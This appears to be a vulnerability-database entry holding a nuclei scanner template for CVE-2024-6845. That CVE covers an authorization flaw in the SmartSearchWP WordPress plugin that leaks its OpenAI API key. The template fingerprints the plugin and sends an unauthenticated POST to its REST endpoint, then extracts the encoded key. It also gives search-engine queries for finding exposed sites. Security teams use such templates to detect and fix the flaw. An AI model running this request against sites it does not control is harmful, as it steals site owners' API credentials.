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SmartSearchWP < 2.4.6 - OpenAI Key Disclosure

🗓️ 26 Sep 2026 02:05:07Reported by ProjectDiscoveryType 
nuclei
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SmartSearchWP < 2.4.6 - OpenAI Key Disclosure. Plugin lacks proper authorization in REST endpoint, exposing OpenAI API key

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id: CVE-2024-6845

info:
  name: SmartSearchWP < 2.4.6 - OpenAI Key Disclosure
  author: s4e-io
  severity: medium
  description: |
    The plugin does not have proper authorization in one of its REST endpoint, allowing unauthenticated users to retrieve the encoded key and then decode it, thereby leaking the OpenAI API key.
  impact: |
    Unauthenticated attackers can retrieve and decode the OpenAI API key through an unsecured REST endpoint, potentially incurring API usage costs and data exposure.
  remediation: |
    Update SmartSearchWP plugin to version 2.4.6 or later to address the API key disclosure vulnerability.
  reference:
    - https://wpscan.com/vulnerability/cfaaa843-d89e-42d4-90d9-988293499d26/
    - https://nvd.nist.gov/vuln/detail/CVE-2024-6845
  classification:
    cve-id: CVE-2024-6845
    cwe-id: CWE-862
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    epss-score: 0.01104
    epss-percentile: 0.64341
  metadata:
    max-request: 2
    verified: true
    vendor: webdigit
    product: smartsearchwp
    framework: wordpress
    publicwww-query: "/wp-content/plugins/smartsearchwp"
    fofa-query: body="/wp-content/plugins/smartsearchwp"
  tags: cve,cve2024,exposure,wp,wordpress,wp-plugin,smartsearchwp,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body,"/wp-content/plugins/smartsearchwp")'
          - 'status_code == 200'
        condition: and
        internal: true

  - raw:
      - |
        POST /wp-json/wdgpt/v1/api-key HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"key": "U2FsdGVkX1+X"}

    matchers:
      - type: dsl
        dsl:
          - 'contains(content_type,"application/json")'
          - 'status_code == 200'
        condition: and

    extractors:
      - type: regex
        part: body
        name: api-key
        regex:
          - '"([^"]+)"'
# digest: 4b0a00483046022100e8dac72873bc126a83bdbb5306f0b3b67e2bfdef6196c4050f348449046c924f02210087ae2eee541812e8305457545b1b4135bb9a525f97d5253c5dca5c995017c988:922c64590222798bb761d5b6d8e72950

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